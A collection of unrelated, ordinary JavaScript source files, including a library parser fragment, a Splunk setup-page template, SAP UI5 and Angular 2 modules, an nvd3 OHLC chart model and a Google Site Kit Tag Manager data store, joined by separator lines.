sig3 = _searchThirdSignature(line);
if (sig3) {
libname = sig3;
}
l = `${INDENT4}${line}`.trimEnd();
revcontents += `${l}\n`;
count += 1;
if (count > MAXCOUNT) {
throw new Error(
`We haven't found the third signature of the library ${packet.path}`,
);
}
return;
}
if (!sig4) {
l = `${INDENT4}${line}`.trimEnd();
sig4 = _searchFourthSignature(line);
if (sig4) {
l = l.replace('this', '{{lib:link}}');
}
revcontents += `${l}\n`;
count += 1;
if (count > MAXCOUNT) {
throw new Error(
`We haven't found the fourth signature of the library ${packet.path}`,
);
}
return;
}
// indent until the end:
l = `${INDENT4}${line}`.trimEnd();
revcontents += `${l}\n`;
});
rl.on('close', () => {
const link = _computeLink(packets, packet.path.replace('.js', ''));
packet.export = { name: libname, link };
revcontents = _replaceTags(revcontents, libname, link);
_addInfos(packet, revcontents);
callback();
});
}
/* eslint-enable no-param-reassign */
// -- Public -------------------------------------------------------------------
module.exports = {
/**
* Computes the link from the imported node module.
*
* @method (arg1, arg2)
* @public
* @param {Array} the list of modules,
* @param {String} the file path,
* @returns {String} returns the computed link,
* @since 0.0.0,
*/
computeLink(packets, file) {
return _computeLink(packets, file);
},
/**
* Parses the library line by line to extract useful information.
*
* @method (arg1, arg2, arg3)
* @public
* @param {Array} the list of modules,
* @param {Object} the library object,
* @param {Function} the function to call at the completion,
* @since 0.0.0,
*/
parse(packets, packet, callback) {
_parse(packets, packet, () => {
callback();
});
},
};
|
export const errorType = {
WARNING: 'warning',
INFO: 'info',
INFO_AND_HIDDEN: 'hidden'
}
|
function get_template() {
const template_string =
"<div class='title'>" +
" <h1>Welcome to Your Setup Page!</h1>" +
"</div>" +
"<div class='setup container'>" +
" <div class='left'>" +
" <h2>Overview</h2>" +
" This setup page will create/modify two files in the local directory of this Splunk App." +
" <br/>" +
" <br/>" +
" Splunk App Directory Path: `$SPLUNK_HOME/etc/apps/developer_guidance_setup_page/local/`" +
" <ul>" +
" <li>app.conf" +
" <ul>" +
" <li>Sets the [install] stanza's `is_configured` property to `true`</li>" +
" </ul>" +
" </li>" +
" <li>macros.conf" +
" <ul>" +
" <li>Creates a custom conf file to manage Splunk App specific settings</li>" +
" <li>Creates the stanza</li>" +
" <li>Creates the properties args and definition in the stanza and assigns values to it" +
" </ul>" +
" </li>" +
" </ul>" +
" <h2>Setup Properties</h2>" +
" <div>" +
" https://docs.splunk.com/Documentation/Splunk/latest/Admin/Macrosconf" +
" </div>" +
" <div class='field macro_stanza'>" +
" <div class='title'>" +
" <div>" +
" <h3>Macro Stanza:</h3>" +
" </div>" +
" </div>" +
" </br>" +
" <div class='user_input'>" +
" <div class='text'>" +
" <input type='text' name='macro_stanza' placeholder='foobar(2)'></input>" +
" </div>" +
" </div>" +
" </div>" +
" <div class='field macro_args'>" +
" <div class='title'>" +
" <h3>Macro Args:</h3>" +
" </div>" +
" </br>" +
" <div class='user_input'>" +
" <div class='text'>" +
" <input type='text' name='macro_args' placeholder='foo, bar'></input>" +
" </div>" +
" </div>" +
" </div>" +
" <div class='field macro_definition'>" +
" <div class='title'>" +
" <h3>Macro Definition:</h3>" +
" Please specify the API Key that will be used to authenticate to the API." +
" </div>" +
" </br>" +
" <div class='user_input'>" +
" <div class='text'>" +
" <input type='text' name='macro_definition' placeholder='"foo = $foo$, bar = $bar$"'></input>" +
" </div>" +
" </div>" +
" </div>" +
" <h2>Complete the Setup</h2>" +
" <div>" +
" Please press the 'Perform Setup` button below to complete the Splunk App setup." +
" </div>" +
" <br/>" +
" <div>" +
" <button name='setup_button' class='setup_button'>" +
" Perform Setup" +
" </button>" +
" </div>" +
" <br/>" +
" <div class='error output'>" +
" </div>" +
" </div>" +
" <div class='right'>" +
" <h2>Implementation Details</h2>" +
" <div class='description'>" +
" <h3>Overview</h3>" +
" This is a setup page that is intended to serve as a point of reference for Splunk Developers." +
" </br>" +
" This has been created using Application Certification approved best practices." +
" <br/>" +
" <h3>Splunk Techniques Used</h3>" +
" <ul>" +
" <li>Splunk Dashboards" +
" <ul>" +
" <li><a href='http://docs.splunk.com/Documentation/SplunkCloud/latest/Viz/PanelreferenceforSimplifiedXML'>API Documentation</a> (docs.splunk.com)" +
" </ul>" +
" </li>" +
" <li>Splunk Setup Page" +
" <ul>" +
" <li><a href='http://docs.splunk.com/Documentation/Splunk/6.6.3/admin/Appconf#.5Bui.5D'>app.conf Specification</a>" +
" </ul>" +
" </li>" +
" <li>Splunk Web Framework" +
" <ul>" +
" <li><a href='http://docs.splunk.com/Documentation/WebFramework'>API Documentation</a> (docs.splunk.com)" +
" <li><a href='http://dev.splunk.com/webframework'>Main Website</a> (dev.splunk.com)" +
" </ul>" +
" </li>" +
" </ul>" +
" <h3>Technology Used</h3>" +
" <ul>" +
" <li>CSS</li>" +
" <li>HTML</li>" +
" <li>JavaScript" +
" <ul>" +
" <li>Backbone JS" +
" <ul>" +
" <li><a href='http://backbonejs.org/'>Main Website</a></li>" +
" <li><a href='https://github.com/jashkenas/backbone/'>On GitHub</a></li>" +
" <li><a href='http://backbonejs.org/#View'>Views</a> are the only feature used</li>" +
" </ul>" +
" </li>" +
" <li>JQuery" +
" <ul>" +
" <li><a href='http://jquery.com/'>Main Website</a>" +
" <li><a href='https://github.com/jquery/jquery/'>On GitHub</a>" +
" </ul>" +
" </li>" +
" <li>Splunk JavaScript Software Development Kit" +
" <ul>" +
" <li><a href='http://docs.splunk.com/Documentation/JavaScriptSDK'>API Documentation</a> (docs.splunk.com)</li>" +
" <li><a href='https://github.com/splunk/splunk-sdk-javascript'>On GitHub</a></li>" +
" <li><a href='http://dev.splunk.com/javascript'>Main Website</a> (dev.splunk.com)</li>" +
" </ul>" +
" </li>" +
" </ul>" +
" </li>" +
" </ul>" +
" <br/>" +
" </div>" +
" </div>" +
"</div>";
return template_string;
}
export default get_template;
|
import { unstable_createResource as createResource } from 'react-cache';
const ListingResource = createResource(
sdkClient.listings.byWmId
)
const ListingCard = (wmid) => {
const listing = ListingResource.read(wmid);
return (
<Card>
<Title>{listing.name}</Title>
</Card>
)
}
|
sap.ui.define(["sap/ui/webc/common/thirdparty/base/UI5Element","sap/ui/webc/common/thirdparty/base/renderer/LitRenderer","./types/TitleLevel","./types/WrappingType","./generated/templates/TitleTemplate.lit","./generated/themes/Title.css"],function(e,t,r,a,n,i){"use strict";function l(e){return e&&typeof e==="object"&&"default"in e?e["default"]:e}var s=l(e);var u=l(t);const d={tag:"ui5-title",properties:{wrappingType:{type:a,defaultValue:a.None},level:{type:r,defaultValue:r.H2}},slots:{default:{type:Node}}};class h extends s{static get metadata(){return d}static get render(){return u}static get template(){return n}static get styles(){return i}get normalizedLevel(){return this.level.toLowerCase()}get h1(){return this.normalizedLevel==="h1"}get h2(){return this.normalizedLevel==="h2"}get h3(){return this.normalizedLevel==="h3"}get h4(){return this.normalizedLevel==="h4"}get h5(){return this.normalizedLevel==="h5"}get h6(){return this.normalizedLevel==="h6"}}h.define();return h});
|
/*!
* OpenUI5
* (c) Copyright 2009-2019 SAP SE or an SAP affiliate company.
* Licensed under the Apache License, Version 2.0 - see LICENSE.txt.
*/
sap.ui.define(function(){"use strict";return{Multi:"Multi",Single:"Single"};},true);
|
'use strict';"use strict";
var lang_1 = require('angular2/src/facade/lang');
var forms_1 = require('./forms');
var directives_1 = require('./directives');
/**
* A collection of Angular core directives that are likely to be used in each and every Angular
* application. This includes core directives (e.g., NgIf and NgFor), and forms directives (e.g.,
* NgModel).
*
* This collection can be used to quickly enumerate all the built-in directives in the `directives`
* property of the `@Component` decorator.
*
* ### Example
*
* Instead of writing:
*
* ```typescript
* import {NgClass, NgIf, NgFor, NgSwitch, NgSwitchWhen, NgSwitchDefault, NgModel, NgForm} from
* 'angular2/common';
* import {OtherDirective} from './myDirectives';
*
* @Component({
* selector: 'my-component',
* templateUrl: 'myComponent.html',
* directives: [NgClass, NgIf, NgFor, NgSwitch, NgSwitchWhen, NgSwitchDefault, NgModel, NgForm,
* OtherDirective]
* })
* export class MyComponent {
* ...
* }
* ```
* one could import all the common directives at once:
*
* ```typescript
* import {COMMON_DIRECTIVES} from 'angular2/common';
* import {OtherDirective} from './myDirectives';
*
* @Component({
* selector: 'my-component',
* templateUrl: 'myComponent.html',
* directives: [COMMON_DIRECTIVES, OtherDirective]
* })
* export class MyComponent {
* ...
* }
* ```
*/
exports.COMMON_DIRECTIVES = lang_1.CONST_EXPR([directives_1.CORE_DIRECTIVES, forms_1.FORM_DIRECTIVES]);
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiY29tbW9uX2RpcmVjdGl2ZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJkaWZmaW5nX3BsdWdpbl93cmFwcGVyLW91dHB1dF9wYXRoLUJSSmVyMUo5LnRtcC9hbmd1bGFyMi9zcmMvY29tbW9uL2NvbW1vbl9kaXJlY3RpdmVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7QUFBQSxxQkFBK0IsMEJBQTBCLENBQUMsQ0FBQTtBQUUxRCxzQkFBOEIsU0FBUyxDQUFDLENBQUE7QUFDeEMsMkJBQThCLGNBQWMsQ0FBQyxDQUFBO0FBRTdDOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7R0EwQ0c7QUFDVSx5QkFBaUIsR0FBYSxpQkFBVSxDQUFDLENBQUMsNEJBQWUsRUFBRSx1QkFBZSxDQUFDLENBQUMsQ0FBQyIsInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7Q09OU1RfRVhQUiwgVHlwZX0gZnJvbSAnYW5ndWxhcjIvc3JjL2ZhY2FkZS9sYW5nJztcblxuaW1wb3J0IHtGT1JNX0RJUkVDVElWRVN9IGZyb20gJy4vZm9ybXMnO1xuaW1wb3J0IHtDT1JFX0RJUkVDVElWRVN9IGZyb20gJy4vZGlyZWN0aXZlcyc7XG5cbi8qKlxuICogQSBjb2xsZWN0aW9uIG9mIEFuZ3VsYXIgY29yZSBkaXJlY3RpdmVzIHRoYXQgYXJlIGxpa2VseSB0byBiZSB1c2VkIGluIGVhY2ggYW5kIGV2ZXJ5IEFuZ3VsYXJcbiAqIGFwcGxpY2F0aW9uLiBUaGlzIGluY2x1ZGVzIGNvcmUgZGlyZWN0aXZlcyAoZS5nLiwgTmdJZiBhbmQgTmdGb3IpLCBhbmQgZm9ybXMgZGlyZWN0aXZlcyAoZS5nLixcbiAqIE5nTW9kZWwpLlxuICpcbiAqIFRoaXMgY29sbGVjdGlvbiBjYW4gYmUgdXNlZCB0byBxdWlja2x5IGVudW1lcmF0ZSBhbGwgdGhlIGJ1aWx0LWluIGRpcmVjdGl2ZXMgaW4gdGhlIGBkaXJlY3RpdmVzYFxuICogcHJvcGVydHkgb2YgdGhlIGBAQ29tcG9uZW50YCBkZWNvcmF0b3IuXG4gKlxuICogIyMjIEV4YW1wbGVcbiAqXG4gKiBJbnN0ZWFkIG9mIHdyaXRpbmc6XG4gKlxuICogYGBgdHlwZXNjcmlwdFxuICogaW1wb3J0IHtOZ0NsYXNzLCBOZ0lmLCBOZ0ZvciwgTmdTd2l0Y2gsIE5nU3dpdGNoV2hlbiwgTmdTd2l0Y2hEZWZhdWx0LCBOZ01vZGVsLCBOZ0Zvcm19IGZyb21cbiAqICdhbmd1bGFyMi9jb21tb24nO1xuICogaW1wb3J0IHtPdGhlckRpcmVjdGl2ZX0gZnJvbSAnLi9teURpcmVjdGl2ZXMnO1xuICpcbiAqIEBDb21wb25lbnQoe1xuICogICBzZWxlY3RvcjogJ215LWNvbXBvbmVudCcsXG4gKiAgIHRlbXBsYXRlVXJsOiAnbXlDb21wb25lbnQuaHRtbCcsXG4gKiAgIGRpcmVjdGl2ZXM6IFtOZ0NsYXNzLCBOZ0lmLCBOZ0ZvciwgTmdTd2l0Y2gsIE5nU3dpdGNoV2hlbiwgTmdTd2l0Y2hEZWZhdWx0LCBOZ01vZGVsLCBOZ0Zvcm0sXG4gKiBPdGhlckRpcmVjdGl2ZV1cbiAqIH0pXG4gKiBleHBvcnQgY2xhc3MgTXlDb21wb25lbnQge1xuICogICAuLi5cbiAqIH1cbiAqIGBgYFxuICogb25lIGNvdWxkIGltcG9ydCBhbGwgdGhlIGNvbW1vbiBkaXJlY3RpdmVzIGF0IG9uY2U6XG4gKlxuICogYGBgdHlwZXNjcmlwdFxuICogaW1wb3J0IHtDT01NT05fRElSRUNUSVZFU30gZnJvbSAnYW5ndWxhcjIvY29tbW9uJztcbiAqIGltcG9ydCB7T3RoZXJEaXJlY3RpdmV9IGZyb20gJy4vbXlEaXJlY3RpdmVzJztcbiAqXG4gKiBAQ29tcG9uZW50KHtcbiAqICAgc2VsZWN0b3I6ICdteS1jb21wb25lbnQnLFxuICogICB0ZW1wbGF0ZVVybDogJ215Q29tcG9uZW50Lmh0bWwnLFxuICogICBkaXJlY3RpdmVzOiBbQ09NTU9OX0RJUkVDVElWRVMsIE90aGVyRGlyZWN0aXZlXVxuICogfSlcbiAqIGV4cG9ydCBjbGFzcyBNeUNvbXBvbmVudCB7XG4gKiAgIC4uLlxuICogfVxuICogYGBgXG4gKi9cbmV4cG9ydCBjb25zdCBDT01NT05fRElSRUNUSVZFUzogVHlwZVtdW10gPSBDT05TVF9FWFBSKFtDT1JFX0RJUkVDVElWRVMsIEZPUk1fRElSRUNUSVZFU10pO1xuIl19
|
//= require jquery3.min
//= require popper
//= require bootstrap-sprockets
//= require flatpickr
document.addEventListener('DOMContentLoaded', function() {
flatpickr('.created-at', {
altInput: true,
altFormat: "F j, Y H:i",
dateFormat: "Y-m-d H:i:s",
enableTime: true,
time_24hr: true,
});
})
|
nv.models.ohlcBar = function() {
"use strict";
//============================================================
// Public Variables with Default Settings
//------------------------------------------------------------
var margin = {top: 0, right: 0, bottom: 0, left: 0}
, width = null
, height = null
, id = Math.floor(Math.random() * 10000) //Create semi-unique ID in case user doesn't select one
, container = null
, x = d3.scale.linear()
, y = d3.scale.linear()
, getX = function(d) { return d.x }
, getY = function(d) { return d.y }
, getOpen = function(d) { return d.open }
, getClose = function(d) { return d.close }
, getHigh = function(d) { return d.high }
, getLow = function(d) { return d.low }
, forceX = []
, forceY = []
, padData = false // If true, adds half a data points width to front and back, for lining up a line chart with a bar chart
, clipEdge = true
, color = nv.utils.defaultColor()
, interactive = false
, xDomain
, yDomain
, xRange
, yRange
, dispatch = d3.dispatch('stateChange', 'changeState', 'renderEnd', 'chartClick', 'elementClick', 'elementDblClick', 'elementMouseover', 'elementMouseout', 'elementMousemove')
;
//============================================================
// Private Variables
//------------------------------------------------------------
function chart(selection) {
selection.each(function(data) {
container = d3.select(this);
var availableWidth = nv.utils.availableWidth(width, container, margin),
availableHeight = nv.utils.availableHeight(height, container, margin);
nv.utils.initSVG(container);
// ohlc bar width.
var w = (availableWidth / data[0].values.length) * .9;
// Setup Scales
x.domain(xDomain || d3.extent(data[0].values.map(getX).concat(forceX) ));
if (padData)
x.range(xRange || [availableWidth * .5 / data[0].values.length, availableWidth * (data[0].values.length - .5) / data[0].values.length ]);
else
x.range(xRange || [5 + w/2, availableWidth - w/2 - 5]);
y.domain(yDomain || [
d3.min(data[0].values.map(getLow).concat(forceY)),
d3.max(data[0].values.map(getHigh).concat(forceY))
]
).range(yRange || [availableHeight, 0]);
// If scale's domain don't have a range, slightly adjust to make one... so a chart can show a single data point
if (x.domain()[0] === x.domain()[1])
x.domain()[0] ?
x.domain([x.domain()[0] - x.domain()[0] * 0.01, x.domain()[1] + x.domain()[1] * 0.01])
: x.domain([-1,1]);
if (y.domain()[0] === y.domain()[1])
y.domain()[0] ?
y.domain([y.domain()[0] + y.domain()[0] * 0.01, y.domain()[1] - y.domain()[1] * 0.01])
: y.domain([-1,1]);
// Setup containers and skeleton of chart
var wrap = d3.select(this).selectAll('g.nv-wrap.nv-ohlcBar').data([data[0].values]);
var wrapEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-wrap nv-ohlcBar');
var defsEnter = wrapEnter.append('defs');
var gEnter = wrapEnter.append('g');
var g = wrap.select('g');
gEnter.append('g').attr('class', 'nv-ticks');
wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')');
container
.on('click', function(d,i) {
dispatch.chartClick({
data: d,
index: i,
pos: d3.event,
id: id
});
});
defsEnter.append('clipPath')
.attr('id', 'nv-chart-clip-path-' + id)
.append('rect');
wrap.select('#nv-chart-clip-path-' + id + ' rect')
.attr('width', availableWidth)
.attr('height', availableHeight);
g .attr('clip-path', clipEdge ? 'url(#nv-chart-clip-path-' + id + ')' : '');
var ticks = wrap.select('.nv-ticks').selectAll('.nv-tick')
.data(function(d) { return d });
ticks.exit().remove();
ticks.enter().append('path')
.attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })
.attr('d', function(d,i) {
return 'm0,0l0,'
+ (y(getOpen(d,i))
- y(getHigh(d,i)))
+ 'l'
+ (-w/2)
+ ',0l'
+ (w/2)
+ ',0l0,'
+ (y(getLow(d,i)) - y(getOpen(d,i)))
+ 'l0,'
+ (y(getClose(d,i))
- y(getLow(d,i)))
+ 'l'
+ (w/2)
+ ',0l'
+ (-w/2)
+ ',0z';
})
.attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })
.attr('fill', function(d,i) { return color[0]; })
.attr('stroke', function(d,i) { return color[0]; })
.attr('x', 0 )
.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })
.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) });
// the bar colors are controlled by CSS currently
ticks.attr('class', function(d,i,j) {
return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i;
});
d3.transition(ticks)
.attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })
.attr('d', function(d,i) {
var w = (availableWidth / data[0].values.length) * .9;
return 'm0,0l0,'
+ (y(getOpen(d,i))
- y(getHigh(d,i)))
+ 'l'
+ (-w/2)
+ ',0l'
+ (w/2)
+ ',0l0,'
+ (y(getLow(d,i))
- y(getOpen(d,i)))
+ 'l0,'
+ (y(getClose(d,i))
- y(getLow(d,i)))
+ 'l'
+ (w/2)
+ ',0l'
+ (-w/2)
+ ',0z';
});
});
return chart;
}
//Create methods to allow outside functions to highlight a specific bar.
chart.highlightPoint = function(pointIndex, isHoverOver) {
chart.clearHighlights();
container.select(".nv-ohlcBar .nv-tick-0-" + pointIndex)
.classed("hover", isHoverOver)
;
};
chart.clearHighlights = function() {
container.select(".nv-ohlcBar .nv-tick.hover")
.classed("hover", false)
;
};
//============================================================
// Expose Public Variables
//------------------------------------------------------------
chart.dispatch = dispatch;
chart.options = nv.utils.optionsFunc.bind(chart);
chart._options = Object.create({}, {
// simple options, just get/set the necessary values
width: {get: function(){return width;}, set: function(_){width=_;}},
height: {get: function(){return height;}, set: function(_){height=_;}},
xScale: {get: function(){return x;}, set: function(_){x=_;}},
yScale: {get: function(){return y;}, set: function(_){y=_;}},
xDomain: {get: function(){return xDomain;}, set: function(_){xDomain=_;}},
yDomain: {get: function(){return yDomain;}, set: function(_){yDomain=_;}},
xRange: {get: function(){return xRange;}, set: function(_){xRange=_;}},
yRange: {get: function(){return yRange;}, set: function(_){yRange=_;}},
forceX: {get: function(){return forceX;}, set: function(_){forceX=_;}},
forceY: {get: function(){return forceY;}, set: function(_){forceY=_;}},
padData: {get: function(){return padData;}, set: function(_){padData=_;}},
clipEdge: {get: function(){return clipEdge;}, set: function(_){clipEdge=_;}},
id: {get: function(){return id;}, set: function(_){id=_;}},
interactive: {get: function(){return interactive;}, set: function(_){interactive=_;}},
x: {get: function(){return getX;}, set: function(_){getX=_;}},
y: {get: function(){return getY;}, set: function(_){getY=_;}},
open: {get: function(){return getOpen();}, set: function(_){getOpen=_;}},
close: {get: function(){return getClose();}, set: function(_){getClose=_;}},
high: {get: function(){return getHigh;}, set: function(_){getHigh=_;}},
low: {get: function(){return getLow;}, set: function(_){getLow=_;}},
// options that require extra logic in the setter
margin: {get: function(){return margin;}, set: function(_){
margin.top = _.top != undefined ? _.top : margin.top;
margin.right = _.right != undefined ? _.right : margin.right;
margin.bottom = _.bottom != undefined ? _.bottom : margin.bottom;
margin.left = _.left != undefined ? _.left : margin.left;
}},
color: {get: function(){return color;}, set: function(_){
color = nv.utils.getColor(_);
}}
});
nv.utils.initOptions(chart);
return chart;
};
|
/**
* `modules/tagmanager` data store: versions.
*
* Site Kit by Google, Copyright 2021 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* External dependencies
*/
import invariant from 'invariant';
/**
* Internal dependencies
*/
import API from 'googlesitekit-api';
import Data from 'googlesitekit-data';
import { STORE_NAME, CONTEXT_WEB } from './constants';
import { CORE_SITE } from '../../../googlesitekit/datastore/site/constants';
import { isValidAccountID, isValidInternalContainerID } from '../util/validation';
import { createFetchStore } from '../../../googlesitekit/data/create-fetch-store';
import { isValidPropertyID } from '../../analytics/util';
const { createRegistrySelector } = Data;
const fetchGetLiveContainerVersionStore = createFetchStore( {
baseName: 'getLiveContainerVersion',
argsToParams: ( accountID, internalContainerID ) => {
return { accountID, internalContainerID };
},
validateParams: ( { accountID, internalContainerID } = {} ) => {
invariant( isValidAccountID( accountID ), 'A valid accountID is required to fetch or receive a live container version.' );
invariant( isValidInternalContainerID( internalContainerID ), 'A valid internalContainerID is required to fetch or receive a live container version.' );
},
controlCallback: async ( { accountID, internalContainerID } ) => {
try {
return await API.get( 'modules', 'tagmanager', 'live-container-version', { accountID, internalContainerID }, { useCache: false } );
} catch ( err ) {
// If the container has no published version, it will error with a 404.
if ( 404 === err.code ) {
return null;
}
// Otherwise rethrow the error to be handled as usual.
throw err;
}
},
reducerCallback: ( state, liveContainerVersion, { accountID, internalContainerID } ) => {
return {
...state,
liveContainerVersions: {
...state.liveContainerVersions,
[ `${ accountID }::${ internalContainerID }` ]: liveContainerVersion,
},
};
},
} );
const baseInitialState = {
liveContainerVersions: {},
};
const baseResolvers = {
*getLiveContainerVersion( accountID, internalContainerID ) {
if ( ! isValidAccountID( accountID ) || ! isValidInternalContainerID( internalContainerID ) ) {
return;
}
const { select } = yield Data.commonActions.getRegistry();
if ( undefined === select( STORE_NAME ).getLiveContainerVersion( accountID, internalContainerID ) ) {
yield fetchGetLiveContainerVersionStore.actions.fetchGetLiveContainerVersion( accountID, internalContainerID );
}
},
};
const baseSelectors = {
/**
* Gets a unique list of Analytics property IDs for all effective containers based on current selections.
*
* @since 1.18.0
*
* @return {(Array|undefined)} Array of unique property IDs, including `null` if none, or `undefined` if not fully loaded.
*/
getAnalyticsPropertyIDs: createRegistrySelector( ( select ) => () => {
const { isAMP, isSecondaryAMP } = select( CORE_SITE );
const accountID = select( STORE_NAME ).getAccountID();
if ( ! isValidAccountID( accountID ) ) {
return [];
}
const propertyIDs = new Set;
const internalContainerID = select( STORE_NAME ).getInternalContainerID();
if ( ( ! isAMP() || isSecondaryAMP() ) && isValidInternalContainerID( internalContainerID ) ) {
propertyIDs.add(
select( STORE_NAME ).getLiveContainerAnalyticsPropertyID( accountID, internalContainerID )
);
}
const internalAMPContainerID = select( STORE_NAME ).getInternalAMPContainerID();
if ( isAMP() && isValidInternalContainerID( internalAMPContainerID ) ) {
propertyIDs.add(
select( STORE_NAME ).getLiveContainerAnalyticsPropertyID( accountID, internalAMPContainerID )
);
}
// If either selector returned undefined, return undefined here as well.
// We do this here to ensure resolvers are triggered for both.
if ( propertyIDs.has( undefined ) ) {
return undefined;
}
return Array.from( propertyIDs );
} ),
/**
* Gets the live container Universal Analytics property ID for the given account and container ID.
*
* @since 1.18.0
*
* @param {Object} state Data store's state.
* @param {string} accountID Account ID the container belongs to.
* @param {string} internalContainerID Internal container ID to get the Analytics tag for.
* @return {(string|null|undefined)} Analytics property ID if present and valid, `null` if none exists or not valid, or `undefined` if not loaded yet.
*/
getLiveContainerAnalyticsPropertyID: createRegistrySelector( ( select ) => ( state, accountID, internalContainerID ) => {
const analyticsTag = select( STORE_NAME ).getLiveContainerAnalyticsTag( accountID, internalContainerID );
if ( analyticsTag === undefined ) {
return undefined;
}
if ( analyticsTag?.parameter ) {
// Check if property ID is provided directly on the tag first.
let propertyID = analyticsTag.parameter.find( ( { key } ) => key === 'trackingId' )?.value;
// If not, check if there is a gaSettings variable referenced.
if ( ! propertyID ) {
propertyID = analyticsTag.parameter.find( ( { key } ) => key === 'gaSettings' )?.value;
}
// If the propertyID is a variable, parse out the name and look up its value.
if ( propertyID?.startsWith( '{{' ) ) {
propertyID = propertyID.replace( /(\{\{|\}\})/g, '' );
const gaSettingsVariable = select( STORE_NAME ).getLiveContainerVariable( accountID, internalContainerID, propertyID );
propertyID = gaSettingsVariable?.parameter.find( ( { key } ) => key === 'trackingId' )?.value;
}
// Finally, check that whatever was found is a valid ID.
if ( isValidPropertyID( propertyID ) ) {
return propertyID;
}
}
return null;
} ),
/**
* Gets the live container Universal Analytics tag object for the given account and container ID.
*
* @since 1.18.0
*
* @param {Object} state Data store's state.
* @param {string} accountID Account ID the container belongs to.
* @param {string} internalContainerID Internal container ID to get the Analytics tag for.
* @return {(Object|null|undefined)} Live container Universal Analytics tag object, `null` if none exists, or `undefined` if not loaded yet.
*/
getLiveContainerAnalyticsTag: createRegistrySelector( ( select ) => ( state, accountID, internalContainerID ) => {
const liveContainerVersion = select( STORE_NAME ).getLiveContainerVersion( accountID, internalContainerID );
if ( liveContainerVersion === undefined ) {
return undefined;
}
if ( liveContainerVersion?.tag ) {
const tagType = liveContainerVersion.container.usageContext[ 0 ] === CONTEXT_WEB ? 'ua' : 'ua_amp';
return liveContainerVersion.tag.find( ( { type } ) => type === tagType ) || null;
}
return null;
} ),
/**
* Gets the live container variable object by the given name for the given account and container ID.
*
* @since 1.18.0
*
* @param {Object} state Data store's state.
* @param {string} accountID Account ID the container belongs to.
* @param {string} internalContainerID Internal container ID to get version for.
* @param {string} variableName Variable name to retrive.
* @return {(Object|null|undefined)} Live container version object, `null` if none exists, or `undefined` if not loaded yet.
*/
getLiveContainerVariable: createRegistrySelector( ( select ) => ( state, accountID, internalContainerID, variableName ) => {
const liveContainerVersion = select( STORE_NAME ).getLiveContainerVersion( accountID, internalContainerID );
if ( liveContainerVersion === undefined ) {
return undefined;
}
if ( liveContainerVersion?.variable ) {
return liveContainerVersion.variable.find( ( { name } ) => name === variableName ) || null;
}
return null;
} ),
/**
* Gets the live container version for the given account and container IDs.
*
* @since 1.11.0
*
* @param {Object} state Data store's state.
* @param {string} accountID Account ID the container belongs to.
* @param {string} internalContainerID Internal container ID to get version for.
* @return {(Object|null|undefined)} Live container version object, `null` if none exists, or `undefined` if not loaded yet.
*/
getLiveContainerVersion( state, accountID, internalContainerID ) {
return state.liveContainerVersions[ `${ accountID }::${ internalContainerID }` ];
},
/**
* Gets the single property ID used by all selected containers.
*
* @since 1.18.0
*
* @return {(string|null|boolean|undefined)} String property ID used by all containers,
* `null` if no property ID was found in either container,
* `false` if a single property ID could not be determined,
* or `undefined` if live container data is not loaded yet.
*/
getSingleAnalyticsPropertyID: createRegistrySelector( ( select ) => () => {
const propertyIDs = select( STORE_NAME ).getAnalyticsPropertyIDs();
if ( propertyIDs === undefined ) {
return undefined;
}
if ( propertyIDs.length === 1 ) {
return propertyIDs[ 0 ]; // (string|null)
}
return false;
} ),
/**
* Checks whether any Analytics property ID is present in either selected container.
*
* @since 1.18.0
*
* @return {(boolean|undefined)} `true` if an Analytics property ID is present in either container,
* `false` if no Analytics property ID is present in either container,
* `undefined` if live container version data is not loaded yet.
*/
hasAnyAnalyticsPropertyID: createRegistrySelector( ( select ) => () => {
const propertyIDs = select( STORE_NAME ).getAnalyticsPropertyIDs();
if ( propertyIDs === undefined ) {
return undefined;
}
return propertyIDs.some( ( propertyID ) => propertyID !== null );
} ),
/**
* Checks if there are multiple unique Analytics property IDs for all effective containers based on current selections.
*
* @since 1.18.0
*
* @return {(boolean|undefined)} `true` if multiple unique Analytics property IDs are found in selected GTM containers
* `false` if no Analytics property IDs are found, or the same property ID is found in both (if secondary AMP)
* `undefined` if live container data is not loaded yet for selected containers.
*/
hasMultipleAnalyticsPropertyIDs: createRegistrySelector( ( select ) => () => {
const propertyIDs = select( STORE_NAME ).getAnalyticsPropertyIDs();
if ( propertyIDs === undefined ) {
return undefined;
}
return propertyIDs.length > 1;
} ),
/**
* Checks whether or not the live container version is being fetched for the given account and container IDs.
*
* @since 1.11.0
*
* @param {Object} state Data store's state.
* @param {string} accountID Account ID the container belongs to.
* @param {string} internalContainerID Internal container ID to get version for.
* @return {(boolean|undefined)} True if the live container version is being fetched, otherwise false.
*/
isDoingGetLiveContainerVersion: createRegistrySelector( ( select ) => ( state, accountID, internalContainerID ) => {
return select( STORE_NAME ).isFetchingGetLiveContainerVersion( accountID, internalContainerID );
} ),
};
const store = Data.combineStores(
fetchGetLiveContainerVersionStore,
{
initialState: baseInitialState,
resolvers: baseResolvers,
selectors: baseSelectors,
}
);
export const {
initialState,
actions,
controls,
reducer,
resolvers,
selectors,
} = store;
export default store;
|
